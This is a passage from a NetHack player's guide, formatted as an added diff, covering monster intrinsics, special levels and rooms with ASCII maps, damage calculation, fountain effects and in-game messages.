No Poly., See Invis, Sleep Res | +| elf mummy | No Corpse, Poison, Sleep Res | +| elf zombie | No Corpse, Poison, Pois Res, Sleep Res | +| elf-lord | Sleep Res | +| Elvenking | Sleep Res | +| energy vortex | Fly, No Corpse, No Eyes, No Limbs, Poison, | +| | Pois Res, Shock Res | +| erinyes | Fire Res, No Corpse, Poison | +| ettin | | +| ettin mummy | No Corpse, Poison | +| ettin zombie | No Corpse, Poison, Pois Res | +| fire ant | Fire Res, Eggs, No Hands | +| fire elemental | Fire Res, Fly, No Corpse, No Eyes, No Limbs, | +| | Poison, Pois Res | +| fire giant | Fire Res | +| fire vortex | Fire Res, Fly, No Corpse, No Eyes, No Limbs, | +| | Poison, Pois Res | +| flesh golem | Cold Res, Fire Res, Poison, Pois Res, Shock Res | +| floating eye | Fly, No Limbs | +| fog cloud | Amorph., Fly, No Corpse, No Eyes, No Limbs, | +| | Poison, Pois Res | +| forest centaur | | +| freezing sphere | Cold Res, Fly, No Limbs | +| frost giant | Cold Res | +| garter snake | Eggs, No Limbs, Swim | +| gecko | No Hands | +| gelatinous cube | Cold Res, Fire Res, No Eyes, No Limbs, | +| | Shock Res, Sleep Res | +| Geryon | Fire Res, Fly, No Corpse, No Poly., Poison, | +| | See Invis | +| ghost | Fly, No Corpse, No Poly., Phase, Poison, | +| | Pois Res | +| giant | | +| giant ant | Eggs, No Hands | +| giant bat | Fly, No Hands | +| giant beetle | No Hands, Poison, Pois Res | +| giant eel | Eggs, No Limbs, No Poly., Swim | +| giant mimic | Hide, No Eyes, No Limbs | +| giant mummy | No Corpse, Poison | +| giant rat | No Hands | +| giant spider | Eggs, No Hands, Poison, Pois Res | +| giant zombie | No Corpse, Poison, Pois Res | +| gnome | | +| gnome king | | +| gnome lord | | +| gnome mummy | No Corpse, Poison | +| gnome zombie | No Corpse, Poison, Pois Res | +| gnomish wizard | | +| goblin | | +| golden naga | Eggs, No Limbs, Poison, Pois Res, Thick Hide | +| golden naga hatchling | No Limbs, Poison, Pois Res, Thick Hide | +| gray dragon | Fly, Eggs, No Hands, See Invis, Thick Hide | +| gray ooze | Amorph., No Eyes, No Limbs, Poison, Pois Res | +| gray unicorn | No Hands, Poison, Pois Res | +| green dragon | Fly, Eggs, No Hands, Poison, Pois Res, | +| | See Invis, Thick Hide | +| green mold | Acid, No Eyes, No Limbs, Stone Res | +| Green-elf | Sleep Res | +| gremlin | Poison, Swim | +| Grey-elf | Sleep Res | +| grid bug | No Corpse, Shock Res | +| guard | No Poly. | +| guardian naga | Eggs, No Limbs, Poison, Pois Res, Thick Hide | +| guardian naga hatchling | No Limbs, Poison, Pois Res, Thick Hide | +| healer | No Poly., Poison, Pois Res | +| hell hound | Fire Res, No Hands | +| hell hound pup | Fire Res, No Hands | +| hezrou | Fire Res, No Corpse, Poison | +| hill giant | | +| hill orc | | +| hobbit | | +| hobgoblin | | +| homunculus | Fly, Poison, Pois Res, Sleep Res | +| horned devil | Fire Res, No Corpse, Poison, Thick Hide | +| housecat | Domestic, No Hands | +| human | No Poly. | +| human mummy | No Corpse, Poison | +| human zombie | No Corpse, Poison, Pois Res | +| ice devil | Cold Res, Fire Res, No Corpse, Poison, | +| | See Invis | +| ice troll | Cold Res, Regen | +| ice vortex | Cold Res, Fly, No Corpse, No Eyes, No Limbs, | +| | Poison, Pois Res | +| iguana | No Hands | +| imp | Regen | +| incubus | Fire Res, Fly, No Corpse, Poison | +| iron golem | Cold Res, Fire Res, No Corpse, Poison, | +| | Shock Res, Thick Hide | +| iron piercer | Hide, No Eyes, No Limbs | +| jabberwock | Fly | +| jackal | No Hands | +| jackalwere | No Corpse, No Hands, No Poly., Poison, Regen | +| jaguar | No Hands | +| Juiblex | Acid, Amorph., Fire Res, Fly, No Corpse, | +| | No Poly., Poison, See Invis | +| Keystone Kop | | +| killer bee | Fly, No Hands, Poison, Pois Res | +| kitten | Domestic, No Hands | +| knight | No Poly. | +| kobold | Poison | +| kobold lord | Poison | +| kobold mummy | No Corpse, Poison | +| kobold shaman | Poison | +| kobold zombie | No Corpse, Poison, Pois Res | +| Kop Kaptain | | +| Kop Lieutenant | | +| Kop Sergeant | | +| kraken | No Hands, No Poly., Swim | +| large cat | Domestic, No Hands | +| large dog | Domestic, No Hands | +| large kobold | Poison | +| large mimic | Hide, No Eyes, No Limbs | +| leather golem | No Corpse, Poison, Pois Res | +| lemure | No Corpse, Poison, Regen, Sleep Res | +| leocrotta | No Hands | +| leprechaun | Teleport | +| lich | Cold Res, Poison, Regen | +| lieutenant | No Poly. | +| little dog | Domestic, No Hands | +| lizard | No Hands, Stone Res | +| long worm | Eggs, No Limbs, No Poly. | +| lurker above | Fly, Hide, No Eyes, No Limbs | +| mail daemon | Cold Res, Fire Res, Fly, No Corpse, No Poly., | +| | Poison, See Invis, Sleep Res, Swim | +| manes | No Corpse, Poison | +| marilith | Fire Res, No Corpse, Poison, See Invis | +| master lich | Cold Res, Fire Res, Poison, Regen | +| Medusa | No Poly., Poison, Pois Res, Stone Res | +| minotaur | | +| Mordor orc | | +| mountain centaur | | +| mountain nymph | Teleport | +| mumakil | No Hands, Thick Hide | +| nalfeshnee | Fire Res, No Corpse, Poison | +| Nazgul | No Corpse, Poison, Pois Res | +| newt | No Hands, Swim | +| nurse | No Poly., Poison, Pois Res | +| ochre jelly | Acid, Amorph., No Eyes, No Limbs, Stone Res | +| ogre | | +| ogre king | | +| ogre lord | | +| Olog-hai | Regen | +| oracle | No Poly. | +| orange dragon | Fly, Eggs, No Hands, See Invis, Sleep Res, | +| | Thick Hide | +| orc | | +| orc mummy | No Corpse, Poison | +| orc shaman | | +| orc zombie | No Corpse, Poison, Pois Res | +| orc-captain | | +| Orcus | Fire Res, Fly, No Corpse, No Poly., Poison, | +| | See Invis | +| owlbear | | +| pit fiend | Fire Res, No Corpse, Poison, See Invis | +| pit viper | Eggs, No Limbs, Poison, Pois Res, Swim | +| plains centaur | | +| priest | No Poly. | +| priestess | No Poly. | +| purple worm | Eggs, No Limbs | +| python | Eggs, No Limbs, Poison, Pois Res, Swim | +| quantum mechanic | Poison, Teleport | +| quasit | Poison, Pois Res, Regen | +| queen bee | Fly, No Hands, Poison, Pois Res | +| quivering blob | No Eyes, No Limbs, Poison, Pois Res | +| rabid rat | No Hands, Poison | +| ratwere | No Corpse, No Hands, No Poly., Poison, Regen | +| red dragon | Fire Res, Fly, Eggs, No Hands, See Invis, | +| | Thick Hide | +| red mold | Fire Res, No Eyes, No Limbs, Poison, Pois Res | +| red naga | Fire Res, Eggs, No Limbs, Poison, Pois Res, | +| | Thick Hide | +| red naga hatchling | Fire Res, No Limbs, Poison, Pois Res, | +| | Thick Hide | +| rock mole | Metalvore, No Hands, Tunnel | +| rock piercer | Hide, No Eyes, No Limbs | +| rock troll | Regen | +| rogue | No Poly. | +| rope golem | No Corpse, Poison, Pois Res | +| rothe | No Hands | +| rust monster | Metalvore, No Hands, Swim | +| samurai | No Poly. | +| scorpion | Eggs, No Hands, Poison | +| sergeant | No Poly. | +| sewer rat | No Hands | +| shopkeeper | No Poly. | +| small mimic | Hide, No Eyes, No Limbs | +| snake | Eggs, No Limbs, Poison, Pois Res, Swim | +| soldier | No Poly. | +| soldier ant | Eggs, No Hands, Poison, Pois Res | +| spotted jelly | Acid, Amorph., No Eyes, No Limbs, Stone Res | +| stalker | Fly, See Invis | +| steam vortex | Fire Res, Fly, No Corpse, No Eyes, No Limbs, | +| | Poison, Pois Res | +| stone giant | | +| stone golem | No Corpse, Poison, Pois Res, Stone Res, | +| | Thick Hide | +| straw golem | No Corpse, Poison, Pois Res | +| succubus | Fire Res, Fly, No Corpse, Poison | +| temple priest | No Poly., Shock Res | +| temple priestess | No Poly., Shock Res | +| tengu | Poison, Pois Res, Teleport, Tel Cont | +| tiger | No Hands | +| titan | Fly | +| titanothere | No Hands, Thick Hide | +| tourist | No Poly. | +| trapper | Hide, No Eyes, No Limbs | +| troll | Regen | +| umber hulk | Tunnel | +| unarmored soldier | No Poly. | +| Uruk-hai | | +| valkyrie | Cold Res, No Poly. | +| vampire | Fly, Poison, Regen | +| vampire bat | Fly, No Hands, Poison, Regen | +| vampire lord | Fly, Poison, Regen | +| violet fungus | No Eyes, No Limbs, Poison, Pois Res | +| Vlad the Impaler | Fly, No Corpse, No Poly., Poison, Regen | +| vrock | Fire Res, No Corpse, Poison | +| warg | No Hands | +| water demon | Fire Res, No Corpse, Poison, Swim | +| water elemental | No Corpse, No Eyes, No Limbs, Poison, Pois Res, | +| | Swim | +| water moccasin | Eggs, No Limbs, Poison, Pois Res, Swim | +| water nymph | Swim, Teleport | +| water troll | Regen, Swim | +| werejackal | No Poly., Poison, Regen | +| wererat | No Poly., Poison, Regen | +| werewolf | No Poly., Poison, Regen | +| white dragon | Cold Res, Fly, Eggs, No Hands, See Invis, | +| | Thick Hide | +| white unicorn | No Hands, Poison, Pois Res | +| winter wolf | Cold Res, No Hands | +| wizard | No Poly. | +| Wizard of Yendor | Fire Res, Fly, No Poly., Poison, Pois Res, | +| | Regen, See Invis, Teleport, Tel Cont | +| wolf | No Hands | +| wolfwere | No Corpse, No Hands, No Poly., Poison, Regen | +| wood golem | No Corpse, Poison, Pois Res, Thick Hide | +| wood nymph | Teleport | +| Woodland-elf | Sleep Res | +| wraith | Fly, Poison, Pois Res | +| wumpus | No Hands | +| xan | Fly, No Hands, Poison, Pois Res | +| xorn | Cold Res, Fire Res, Phase, Stone Res, | +| | Thick Hide | +| Yeenoghu | Fire Res, Fly, No Corpse, No Poly., Poison, | +| | See Invis | +| yellow dragon | Acid, Fly, Eggs, No Hands, See Invis, | +| | Stone Res, Thick Hide | +| yellow light | Fly, No Limbs | +| yellow mold | No Eyes, No Limbs, Poison, Pois Res | +| yeti | Cold Res | +| zruty | | +----------------------------------------------------------------------------- + +Following is a description of the various intrinsics listed in the monster +information section above. Note that not all possible intrinsic flags for +each monster were listed, as we consider some of them to be unimportant to +play of the game. If an intinsic is preceded with an asterisk (*) here, the +corpse of any monster with that intrinsic can have an effect upon or confer +an intrisic to a player if eaten. See the FOOD - CORPSES section for more +information about corpses conferring intrinsics or having other effects. + + Intrinsic Description +----------------------------------------------------------------------------- +*Acidic Monster corpse is acidic when eaten + Amorph Monster is amorphous and can flow under doors + Domestic Monster can be tamed by throwing food at it +*Cold Res Monster is cold resistant +*Disin Res Monster is resistant to disintegration +*Fire Res Monster is fire resistant + Fly Monster can fly or float in the air + Hides Monster can hide under objects + Lay Eggs Monster can lay eggs + Metalvore Monster is "metallivorous," and will eat all metal encountered + No Corpse Monster will never leave a corpse when killed + No Eyes Monster has no eyes to gaze into or blind + No Hands Monster has no hands to pick things or manipulate objects + No Limbs Monster has no limbs (arms or legs) + No Poly. Player cannot polymorph into this type of monster +*Phase Monster can "phase" (i.e. walk through walls, doors, etc.) + Poison Monster corpse is poisonous if eaten +*Pois Res Monster is poison resistant + Regen Monster regenerates hit points each round + See Invis Monster can see invisible creatures +*Shock Res Monster is resistant to electrical attacks +*Sleep Res Monster is sleep resistant + Stone Res Monster cannot be turned to stone + Swim Monster can swim through water (moats, etc.) +*Teleport Monster can teleport +*Tel Cont Monster controls where it teleports to + Thick Hide Monster has thick hide (kicking attacks do no damage to it) + Tunnel Monster can tunnel through rock + + + ---------------------------------------------------------- + | The Dungeon | + ---------------------------------------------------------- +----------------------------------------------------------------------------- +Castle Level: + +Contrary to popular belief, the castle (or stronghold) level is not where the +wizard is. The castle level is more of a proving ground - if you can get by +it, you can probably finish the game, and if you do finish it, there are +excellent rewards (specifically, there is a wand of wishing in one of the +outer four rooms). Beware, though. Although this level is littered with +loot (four whole rooms full of stuff to start with), it's also littered with +monsters. Guards abound, as well as at least four dragons, several lichs, +some nagas, and so on. An example castle level is below: + +----------------------------------------------------------------------------- +|< |}}}}}}}}} }}}}}}}}}| | | +| ----|}-------}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}-------}| | | | +| | |}| |-----------------------------------------------| |}| | | +| | | |}| + + |}|---- | +| | |}-------------------------------------------------------------}| | +| --- |}}}}}}| | + | + + |}}}}}}| --- | +| | | }| | | | | | |} | | | +| | | | }| |----------| |-----------------|} --| | | +| | | | }# { + + \ | ^ ^ ^ ^ ^+ | | | +|-- |-- }| |----------| |-----------------|} | | --| +| | }| | | | | | |} | | | +| --- |}}}}}}| | + | + + |}}}}}}| --- | +| | |}-------------------------------------------------------------}| | | +| | --|}| + + |}| --- | +| | |}| |-----------------------------------------------| |}| | | +| --- |}-------}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}-------}|-- | | +| |}}}}}}}}} }}}}}}}}}| | +----------------------------------------------------------------------------- + +The first hint that you are on the castle level is the fact that you will +appear in the upper-left corner of the map, and in a maze to boot. You will +also tend to hear 'courtly sounds'. The maze you are in (see map above) is +not large, but beware, for a minotaur lurks within, and they are more than a +little trouble. + +After you complete the maze, you will be on a large landing, with the castle +in front of you and the moat around it. The moat will drown you in a second, +so beware. Also, there are invisible giant eels in the water and they will +attack you. The first question asked is: How do I get in? Well, there are +many answers, so I will outline several ideas below: + +If you have sacrificed enough, your god will have given you five musical +notes when you pray. Play these notes on an instrument, and the drawbridge +will open. If your god hasn't given you the five musical notes, try random +notes. You'll get a series of sounds. Use these sounds like the old Master +Mind game to determine the correct notes. (One sound means correct note, +correct spot. The other means correct note, wrong spot.) Keep trying until +the drawbridge comes down. + +A wand of opening or a spellbook of knock will cause the drawbridge to come +down - but watch out! If you are standing directly in front of the +drawbridge, it will fall on you and squash you. A wand of striking will +disintegrate the portcullis, but you still have to bridge the moat to get in. +Try pushing in a boulder, zapping a wand of cold or fire at the moat, or +using water walking, levitation, or jumping boots. + +Another method of entering the castle is by polymorphing yourself into a +xorn. A xorn can walk through the walls of the castle straight into the +middle. Be warned, though - xorns can't swim, so you'll still have to bridge +the moat. + +A final method of getting in is using the back door. Using boots of +levitation or water walking (or equivalent items or spells), walk through the +moat around to the back of the castle. Pick the lock on the back door and +walk in. Be careful of the trapdoors, though! + +Once you're into the castle, if you're not prepared to fight for your life +against ravenous hordes of monsters, there are two ways of getting rid of +most of them (albeit forfeiting the experience for killing them). Either use +a ring of conflict or walk back over the trapdoors, letting them all go +falling down into the upper level of hell as they try to follow you. Kill +off the rest, grab the wand of wishing, try sitting on the throne for another +wish or two, and then go for the ultimate challenge - the Wizard himself, by +teleporting down to level fifty or so. + +----------------------------------------------------------------------------- +Special Levels: + +Nethack has several "special levels." The actual level of each of these +varies from game to game, so we can't tell you what level to look for each +on, but we can give you a description of each so that you recognize what +you're running into. + +Big Level: Basically, this level is exactly what the name implies. The +entire level is one big room. This is a bad level to have aggravate monster +on, and a ring of conflict is really handy here. Here's an example of a big +level: + +------------------------------------------------------------------------ +|.....d...).................o...ooo....................................| +|............................o.o.oo....................................| +|.............................oo...........Z...........................| +|......................................w<.............oo...............| +|.....................................................o................| +|............................................P............a............| +|.......................i......................f.......................| +|?.....................................................................| +|.....[................................................................| +|....................!...a................[.............q..............| +|.........................a............................................| +|.........................aa...........................................| +|....................................%.............................T...| +|...............................>......................................| +|................................$.......f.............................| +------------------------------------------------------------------------ + +Castle/Stronghold Level: see section CASTLE LEVEL + +Medusa Level: Of all the creatures of Greek mythology, the gorgons ------- +were among the most powerful. One of these was the medusa, whose |.``..| +visage was so terrible to behold that one look at her countenance -...`.| +would turn any living creature instantly to stone. She was finally |...`.| +slain by Perseus with the use of a reflective shield given him by |.@..`| +Athena. It is rumored that the only two ways to kill a medusa are ------- +to fight her without gazing upon her, or to reflect her terrible gaze back +upon her, so that she, looking upon her own reflection, should turn to stone. +The medusa is raised back to life in nethack, so beware of the level upon +which she resides. You will know you are there when you begin to see an +inordinately large number of statues, hear nothing but silence, etc. A sample +room in which the medusa might reside is above at right. + +Oracle of Delphi: The Oracle of Delphi was reknowned in ancient -|-@-- +times for her ability to tell the future with admirable accuracy. |.```| +For instance, a great king once came to the Oracle and asked if he |....| +should send his armies against the armies of another nation. The |..{.| +Oracle told him, "I tell you truly. If you do so, you will destroy ------ +a mighty army." Enheartened, he attacked, and sure enough, a mighty army was +destroyed - his own! The Oracle in nethack will give you minor or major +consultations. Minor ones are cheap, and are the same as a fortune cookie. +Major ones are expensive, but can give some good clues. The oracle room will +have the oracle sitting in a niche in the wall, with statues of mountain, +plain, and forest centaurs in front of her, and a fountain in the room. An +example is shown above at right. + +Rogue Level: Rogue was one of the first of the hack and slash games. Hack, +Nethack, UltraRogue, Moria, UMoria, Larn, Omega, and undoubtedly many more, +were all based on the idea started by rogue. Now, rogue, like early versions +of hack, had a very distinctive look. There were always nine rooms on each +level, and each wall of each room never had more than one doorway. In memory +of rogue, the nethack engineers have added a "rogue level," that looks very +much like the original rogue game, and the game will tell you that it seems +like you've been on that level before. Here's an example of one: + + ----- -------------------- --------------------- + | +##########+ | | | + | | | +######+ | + | | -------------------- | > | + ----- | | + --------------------- + # + #### + ------------- ----------------- + | | ##########+ | + | +############################## | | + ------------- ######## | | + # ----------------- + # ####### + # ------------------ +--------------------- -----------------####+ | +| |########+ +# | | +| +# | | | < | +--------------------- ----------------- ------------------ + +Tower Levels: The three tower levels are the three levels that probably +generate more confusion that the entire rest of the game combined (a little +hyperbole, but not a lot). Basically, the tower levels are three consecutive +maze levels in hell. In the center of each of these maze levels is the a +section of the tower proper. The tower can only be entered from the lowest +level, and there's no exit at the top. Inside the tower are many riches, and +vampires galore. On the top level of the tower, you'll find Vlad the +Impaler, master of the tower. (Oh, did I forget to mention that he's also a +Vampire Lord?) Below is an example of the three tower sections. Put each of +them in the center of a maze level, and you've got a tower level! + +------------------- ------------------- ------------------- +| | L | | M | | U +| --- --- --- | o | --- --- --- | i | --- --- --- | p +| | | | | | | | w | | | | | | | | d | | | | | | | | p +| --------------- | e | --------------- | d | --------------- | e +| | | | | | r | | | | | | l | | . . | | r +| --| |-- - | --| ------.---- - e | --------| |---- - +| | + L | | | <| | | \ | .>| L +| --| |-- | e | -------- |----- - L | --------| |---- | e +| | |< | | | v | | |> . | | | e | | . . | | v +| --------------- | e | --------------- | v | --------------- | e +| | | | | | | | l | | | | | | | | e | | | | | | | | l +| --- --- --- | | --- --- --- | l | --- --- --- | +| | | | | | +------------------- ------------------- ------------------- + + + + +Wizard Level: The wizard level is (you guessed it) where the Wizard }}}}}}} +of Yendor lives. He has a little room in the middle of an otherwise }}---}} +normal maze level. Now, the trick is that this little room looks }--^--} +just like the little rooms that are on about half of the maze }|^^^|} +levels. Only one of them holds the Wizard of Yendor, and the real }--^--} +Amulet of Yendor, though, so don't be fooled. The best way to tell }}---}} +where you are in relation to the Wizard is to put on a blindfold and }}}}}}} +apply a mirror to yourself (use '.' for direction). After a few tries, this +will tell you whether the wizard is above you, below you, or very close. +When you're on the same level, trek in towards the middle, get past the moat, +break into his home, and take the Amulet! An example of the Wizard's room is +above at right. Incidentally, the traps are squeaky boards which will +instantly wake up the Wizard. + +----------------------------------------------------------------------------- +Special Rooms: + +There are many varied and interesting rooms to explore in nethack. Besides +your standard room with the possibility of randomly generated items, traps, +monsters, etc., there are several special room types that can be found within +the dungeon. These are listed below: + +Beehives: Beehives are (you guessed it) rooms completely filled ------- +with killer bees. There are usually one or more queen bees in one |.aaaa| +as well. Beehives can be quite nasty for the inexperienced -.aaaa| +character, but if you can manage to kill them off, run around |.aaaa| +picking up the royal jelly that will be left behind. Eat it, and |.aaaa| +hey presto -instant strength! ------- + +Barracks: The barracks are a room type that will usually only show ------- +up on lower levels due to the fact that it will kill of all but the |.@@@@| +most powerful characters. Barracks are rooms filled with soldiers. -.@@@@| +Be careful not to blow a whistle or play a bugle on the level if you |.@@@@| +don't want to face them. Soldiers will always wake up for a whistle |.@@@@| +or a bugle, and come to investigate what woke them! ------- + +David's Treasure Zoo: David's Treasure Zoo is a room totally filled ------- +with random monsters of all types and sizes. This room can be quite |.DooQ| +deadly, but each monster in the room will carry a sizeable sum of -.aggh| +gold, so if you can kill off all of them, you'll probably end up |.dCkq| +quite rich. Wands and other ray type weapons, rings of conflict, |.qoGc| +the ability to teleport out if you have to can be quite handy here, ------- +as in any room filled with monsters. + +Graveyards: If you have a character with a bad AC, you'd better ------- +pray that you don't run into one of these. Graveyards are rooms |W WZV| +filled with nasty undead creatures - wraiths and vampires that will -ZZSWS| +drain your levels away, and zombies and skeletons and ghosts. (Note |VSW V| +that ghosts in a graveyard are randomly generated, although they may |WWZZ | +take names from the high score file. Thus, they won't leave ghost ------- +stacks.) If you have a character with a good AC, these can be quite a boost: +Kill off all the wraiths and eat the corpses to go up many levels! + +Shops: Shops can be an adventurer's best friend. Note that I said ------- +shops, not shopkeepers - shopkeepers can be an adventurer's worst |@??!!| +nightmare! Shops come in all sizes and types. There are shops that -.%[))| +sell everything, and shops that specialize in an item type (wands, |.[!%(| +for instance). Shopkeepers always carry a key and a lot of gold, |.!?/=| +and they guard their wares jealously. Check out the section on ------- +ROBBING SHOPS for more information on how to rob shopkeepers blind. + +Temples: A temple is a room that is dedicated to a particular ------- +deity. Temples invariably contain an altar to that deity in the |.....| +center of the room, and a priest(ess) of that deity nearby. You can -..@..| +give an offering to the deity by #chatting to the priest(ess), and |.._..| +will perhaps have a blessing bestowed upon you. You'll know you're |.....| +entering a temple when you get a message along the lines of ------- +"Pilgrim, you enter a holy place." + +Throne Rooms: A throne room is a room filled with monsters. The ------- +major difference between this room and David's Treasure Zoo is that |.kodk| +throne rooms have a throne in them. Sitting on this throne can -.ooG\| +produce all sort of interesting effects, and gold can be gotten (if |.dkgh| +you're lucky) by kicking the throne. See the THRONE EFFECTS and |.qCoc| +KICKING sections for more information about thrones. ------- + +Vaults: Vaults are scattered about the various levels, and can ---- +never be entered except by digging, teleporting, or walking through |$$| +walls (they have no doors). Most levels with one of these two by |$$| +two rooms filled with gold will also have a closet with a single use ---- +teleport trap in it. That teleport trap will teleport you into the vault +(just be sure you have a way to get out). Oh, and remember - Croesus was the +king who commissioned the vaults, and all of the vault guards know him. + + + ---------------------------------------------------------- + | The Game | + ---------------------------------------------------------- +----------------------------------------------------------------------------- +Damage: + +If you would like to figure out how much damage you can do to a given monster +upon a successful hit, this section will tell you how. Please note that all +computations will involve ranges, so you will end up with a minimum and +maximum amount of damage you can do to a monster. + +The following formula can be used to compute damage when attacking a monster: + + weapon damage value (see explanation) + + undead/demon bonus (see explanation) + + weapon enchantment (see explanation) + + relative damage bonus (see explanation) + + special bonuses (see chart) + + ring bonus (see explanation) + + strength bonus (see chart) + ------------------------------------------------------------------- + total damage done + +Weapon damage value: The weapon damage value will be listed in the WEAPONS +section as a minimum and maximum value. Just look up the weapon that you're +using and take either the small or large monster value depending upon what +type of monster you're fighting. If the "weapon" you're using isn't really a +weapon, but is some other object, look at the chart at the end of this +section for information on the damage values of other objects. Undead/demon +bonus: If the weapon you are fighting with is blessed, and the monster you +are fighting is undead or a demon, you will do an extra one to four points of +damage. + +Weapon enchantment: This is whatever the "plus" on the weapon is. For +instance, if it's a +3 crysknife, you can add another +3 here. + +Relative damage bonus: The relative damage bonus is only figured in for +artifacts (named weapons). See the section on ARTIFACTS to look up the +relative damage bonus on a named weapon. Also, please note that if "x2" is +listed for the relative damage bonus, it means to total everything up to the +relative damage bonus in the above equation and double it. Then you can +continue adding the other bonuses. + +-------------------------------------------------------------------------- +|Special bonuses: | Bonus | +|------------------------------------------------------------------------| +|weapon is boomerang, is thrown, and breaks | +1 | +|weapon is silver arrow, and is used versus a lycanthrope, | | +| minor demon (except tengus) or major demon | +1-20 | +|if the weapon drains life (also removes one level from monster) | +1-8 | +|if the weapon is poisoned (or can kill monster outright) | +1-6 | +-------------------------------------------------------------------------- + +Ring bonus: The ring bonus is only figured in if you are wearing a ring of +increase damage. If so, take the enchantment on the ring (for instance, 2 if +you're wearing a +1 ring of increase damage) and add it in here. + +----------------------- +| Strength | Bonus | +|---------------------| +| 01-05 | -1 | +| 06-15 | 0 | +| 16-17 | +1 | +| 18 | +2 | +| 18/01-18/75 | +3 | +| 18/76-18/90 | +4 | +| 18/91-18/99 | +5 | +| 18/**-25 | +6 | +----------------------- + +These objects use the following for the weapon damage value: +---------------------------------------------------------- +| Object | Dam | +|--------------------------------------------------------| +| bare hands | 1-2 | +| boulder | 1-20 | +| bow (any type when used to bash) | 1-2 | +| clove of garlic (undead will flee) | 1 | +| egg | 1 | +| corpse (depends on size) | 1-5 | +| heavy iron ball | 1-25 | +| mirror (also -2 luck) | 1 | +| potion | 1 | +---------------------------------------------------------- + +Finally, all other objects except cameras and cream pies use a weapon damage +value based upon their weight (cameras and cream pies cannot do damage): + damage value = weight/10 (minimum of 1, maximum of 6) + +----------------------------------------------------------------------------- +Fountain Effects: + +There are basically two things you can do at a fountain. You can either +quaff of dip something. Different effects can occur when you do these as +follows: + +Quaffing at the fountain: + +----------------------------------------------------------------------------- +|Chance | Effect | +|---------------------------------------------------------------------------| +| 9/30 | "The cool draught refreshes you." | +| | You gain 1-10 nutrition points (i.e. makes you less hungry). | +| | | +| 9/30 | "This tepid water is tasteless." | +| | Nothing happens. | +| | | +| 1/30 | "You feel self knowledgeable..." | +| | Lists all of your intrinsics for you. | +| | | +| 1/30 | "The water is foul! You gag and vomit!" | +| | You lose 11-30 nutrition points (i.e. makes you hungrier). | +| | | +| 1/30 | "The water is contaminated!" | +| | If you are poison resistant, you will lose 1-4 hit points. | +| | Otherwise, you will lose 1-10 hit points and 3-6 points of | +| | strength.) | +| | | +| 1/30 | "An endless stream of snakes pour forth!" | +| | "You hear something hissing!" (if blind) | +| | "The fountain bubbles furiously for a moment, then calms." (if | +| | water moccasins have been genocided) | +| | Creates several water moccasins around you. | +| | | +| 1/30 | "You have unleased a water demon!" | +| | "You feel the presence of evil." (if blind) | +| | This creates a water demon. The water demon will give you a wish | +| | (20 - dungeon level)% of the time. | +| | | +| 1/30 | "This water's no good!" | +| | Each item you have has a percentage chance of being cursed. | +| | | +| 1/30 | "You see an image of someone stalking you. But it disappears." | +| | You gain the intrinsic of see invisible. | +| | | +| 1/30 | "You sense the presence of monsters." | +| | You detect monsters, as the spell or potion of detect monster. | +| | | +| 1/30 | "You spot a gem in the sparkling waters." | +| | A gem appears where the fountain is. | +| | | +| 1/30 | "You have attracted a water nymph!" | +| | "You hear a seductive voice." (if blind) | +| | "A large bubble rises to the surface and pops." (if nymphs have | +| | been genocided) | +| | "You hear a loud pop." (if blind and nymphs are genocided) | +| | Creates a water nymph next to you. | +| | | +| 1/30 | "This water gives you bad breath." | +| | Monsters around you will flee for one round. | +| | | +| 1/30 | "Water gushes forth from the overflowing fountain." | +| | Just exactly like it sounds - creates several pools in the room. | +| | (Note: this cannot happen in a room with a staircase.) | +----------------------------------------------------------------------------- + +Dipping an item at a fountain: + +If the item is a longsword, your experience level is five or greater, the +longsword dipped is not an artifact, and Excalibur does not yet exist in your +dungeon, then you have a one out of six chance of gaining Excalibur. "A +murky hand from the depths reaches up to bless the sword. As the hand +retreats, the fountain disappears." + +Otherwise the following effects can occur: + +----------------------------------------------------------------------------- +|Chance | Effect | +|---------------------------------------------------------------------------| +|16/30 | "The [object name] gets wet." | +| | Nothing happens. | +| | | +| 4/30 | "The water glows for a moment." | +| | "A feeling of loss comes over you." (if dipped item is not | +| | cursed) | +| | The dipped item will become uncursed if it is currently cursed. | +| | | +| 1/30 | No message. | +| | The item becomes cursed. | +| | | +| 1/30 | A water demon is summoned (same messages and effects as in | +| | quaffing). | +| | | +| 1/30 | A water nymph is summoned (same messages and effects as in | +| | quaffing). | +| | | +| 1/30 | Water moccasins are created (same messages and effects as in | +| | quaffing). | +| | | +| 1/30 | You find a gem (same message and effect as in quaffing) | +| | | +| 1/30 | The fountain overflows (same message and effect as in quaffing). | +| | | +| 1/30 | "A strange tingling runs up your arm." | +| | Nothing happens. | +| | | +| 1/30 | "You feel a sudden chill." | +| | Nothing happens. | +| | | +| 1/30 | "An urge to take a bath overwhelms you." (only if gold > 10...) | +| | You will lose some of your gold in the fountain. | +| | | +| 1/30 | "Far below, you see coins glistening in the water." | +| | You will find some gold (the lower the dungeon level number, the | +| | greater the treasure). | +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- +Game Messages: + +"The hair on the back of your neck stands up" - graveyard on level +"You feel a momentary chill." - fire resistance gained +"You feel a strange mental acuity." - telepathy gained +"You feel controlled." - teleport control gained +"You feel feverish." - lycanthropy gained* +"You feel foolish." - wisdom decreased +"You feel full of hot air." - cold resistance gained +"You feel healthy." - poison resistance gained +"You feel hardy." - poison resistance gained +"Your health currently feels amplified."- shock resistance gained +"You feel hidden." - invisibility gained +"You feel in control of yourself." - teleport control gained +"You feel sensitive." - warning gained +"You feel strong." - strength increased +"You feel tough." - constitution increased +"You feel very firm." - disintegration resistance gained +"You feel very jumpy." - teleportation gained +"You feel vulnerable." - constitution decreased +"You feel wide awake." - sleep resistance gained +"You hear a low buzzing." - beehive on level +"You hear an angry drone." - beehive on level +"You hear the sound of crashing rock." - dwarf, rock mole, or umber hulk on + level +"You hear a jackal howling at the moon."- werejackal on level +"You hear a slurping sound." - gelatinous cube on level +"You hear a gulping sound." - ochre jelly nearby +"You hear a gurgling noise." - sink on level +"You seem to hear Donald Duck." - fountain on level +"You hear a dishwasher." - sink on level +"You hear a mumbled curse." - monster trying to curse you +"You hear a slow drip." - sink on level +"You hear bubbling water." - sink on level +"You hear someone counting money." - vault on level +"You hear someone cursing shoplifters." - shop on level +"You hear the chime of a cash register."- shop on level +"You hear someone searching." - vault on level +"You hear the sound of a door opening." - monster has opened a door +"You hear the splashing of a naiad." - fountain on level +"You hear water falling on coins." - fountain on level +"Your health currently feels amplified!"- shock resistance gained +"You hear the howling of CwnAnnwn." - character in bad shape +"You 